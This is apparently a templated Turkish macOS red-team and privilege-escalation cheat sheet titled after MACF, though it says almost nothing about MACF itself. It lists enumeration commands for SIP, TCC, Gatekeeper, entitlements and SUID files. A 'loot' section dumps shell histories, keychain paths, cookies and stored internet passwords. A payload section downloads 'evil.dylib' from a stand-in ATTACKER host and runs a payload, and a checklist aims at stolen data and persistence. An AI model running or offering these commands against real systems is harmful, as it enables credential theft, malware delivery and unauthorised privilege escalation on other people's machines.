macOS MACF - Mandatory Access Control Framework

macos privesc

macOS MACF - Mandatory Access Control Framework macOS güvenlik modeli (SIP, TCC, Gatekeeper, entitlements, XPC) içinde suistimal notudur. İmza ve privacy sınırlarını ölçüp injection veya hassas veri erişimini kanıtla.

Metodoloji

1. SIP/TCC/Gatekeeper/codesign durumunu ölç.

2. macOS MACF - Mandatory Access Control Framework için launch item, entitlement ve library/XPC yüzeyini tara.

3. Injection veya privacy bypass hipotezini doğrula.

4. Keychain/TCC/hassas dosya kanıtını al.

Durum

macOS MACF - Mandatory Access Control Framework macOS red-team / privesc notudur. SIP, TCC, Gatekeeper ve entitlements haritası olmadan injection denemek kör ateştir.

id; whoami; hostname

sw_vers; uname -a

csrutil status

spctl --status

system_profiler SPSoftwareDataType | head -n 40

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null

ps aux | head -n 50

lsof -iTCP -sTCP:LISTEN -nP 2>/dev/null | head

SIP / Gatekeeper / imza / sandbox

Koruma katmanlarını ölç; zayıf imza, tehlikeli entitlement veya sandbox escape ara.

csrutil status

spctl --status; spctl --assess -vv /Applications/App.app 2>&1

codesign -dv --verbose=4 /Applications/App.app 2>&1

codesign -d --entitlements :- /Applications/App.app 2>/dev/null

jtool2 --ent /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

sandbox-exec -f profile.sb /bin/sh

security authorizationdb read system.preferences 2>/dev/null | head

ls -laO /System /usr /bin | head

diskutil apfs list

Sistem / binary / debug

Mach-O, IOKit userclient ve hassas konumlar kernel/userland kesişimini açar.

file /Applications/App.app/Contents/MacOS/*

lipo -info /Applications/App.app/Contents/MacOS/* 2>/dev/null

nm -m /Applications/App.app/Contents/MacOS/* 2>/dev/null | head

vmmap $(pgrep -n App) 2>/dev/null | head

lldb -p $(pgrep -n App)

nvram -p

kextstat 2>/dev/null | head

systemextensionsctl list 2>/dev/null

ioreg -l | rg -i 'IOUserClient|IOKit' | head

ls -la /var/db /private/var/db /Library/Preferences 2>/dev/null | head

find /Users /Library -name '*.plist' 2>/dev/null | head -n 40

Privesc hızlı tarama

find / -perm -4000 2>/dev/null | head

ls -la /usr/local/bin /opt 2>/dev/null

crontab -l; ls /etc/cron* 2>/dev/null

dscl . -read /Groups/admin GroupMembership

sudo -l 2>/dev/null

Hassas veri ve loot

ls -la ~/Library/Keychains ~/.ssh 2>/dev/null

cat ~/.bash_history ~/.zsh_history 2>/dev/null | tail -n 50

defaults read 2>/dev/null | head

find ~/Library -name '*.sqlite' -o -name '*cookie*' 2>/dev/null | head

security find-internet-password -g 2>/dev/null | head

Manuel doğrulama

# macOS MACF - Mandatory Access Control Framework — varyant 52

ls -la@ ~/Library ~/Documents 2>/dev/null | head

mdfind 'kMDItemKind == Application' | head

defaults read com.apple.dock 2>/dev/null | head

log show --predicate 'eventMessage contains "tcc"' --last 1h 2>/dev/null | head

fs_usage -w -f filesys 2>/dev/null | head

sample App 3 2>/dev/null | head

Payload taşıma

python3 -m http.server 8000

curl -O http://ATTACKER/evil.dylib

chmod +x ./payload && ./payload

Checklist

[ ] SIP/TCC/Gatekeeper durumu ölçüldü
[ ] Launch item / entitlements / codesign tarandı
[ ] Injection veya XPC hipotezi doğrulandı
[ ] Keychain/TCC/hassas veri loot alındı
[ ] Kalıcılık veya yüksek yetki kanıtlandı

Notlar

macOS MACF - Mandatory Access Control Framework sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.